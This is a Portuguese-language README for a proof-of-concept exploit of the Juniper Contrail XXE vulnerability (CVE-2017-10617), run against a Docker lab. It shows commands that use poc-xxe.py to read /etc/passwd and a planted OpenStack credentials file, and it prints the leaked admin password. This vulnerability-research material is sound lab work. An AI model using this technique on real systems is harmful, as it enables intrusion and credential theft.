
Prova de conceito de exploit para a vulnerabilidade XXE do Juniper Contrail (CVE-2017-10617) com ambiente de laboratório baseado em Docker demonstrando divulgação de arquivos locais e extração de credenciais.
Estas duas vulnerabilidades afetam o Juniper Contrail versões 2.2, 3.0, 3.1 e 3.2:
O boletim de segurança do fornecedor pode ser encontrado em Juniper Security Alert JSA10819 2017-10.
O serviço vulnerável no produto Contrail é um daemon IFMAP, que é empacotado a partir do irond. Para simplificar, vamos continuar com o irond e explorar a vulnerabilidade XXE.
Todos adoramos brincar. Para construir a imagem:
$ cd vulnerable-irond
$ docker build -t vulnerable-irond .
A imagem é baseada na imagem maven alpine, com um clone do repositório irond.
Um ficheiro de teste correspondente à configuração do Contrail é colocado na imagem vulnerável em /etc/contrail/openstackrc. Este ficheiro contém a palavra-passe do administrador do OpenStack, que é um ativo bastante sensível.
Para iniciar um serviço IFMAP vulnerável:
$ docker run -ti --rm -p 8443:8443 vulnerable-irond
O serviço IFMAP está agora disponível na porta 8443 da máquina local.
Assim que um serviço IFMAP vulnerável estiver configurado, faça o seguinte:
$ ./poc-xxe.py -g /etc/passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
...
$ ./poc-xxe.py -g /etc/contrail/openstackrc
export OS_USERNAME=admin
export OS_PASSWORD=6b000a589c700b077ef9729513e5d6fc
...
Isto revela efetivamente a palavra-passe do administrador do OpenStack.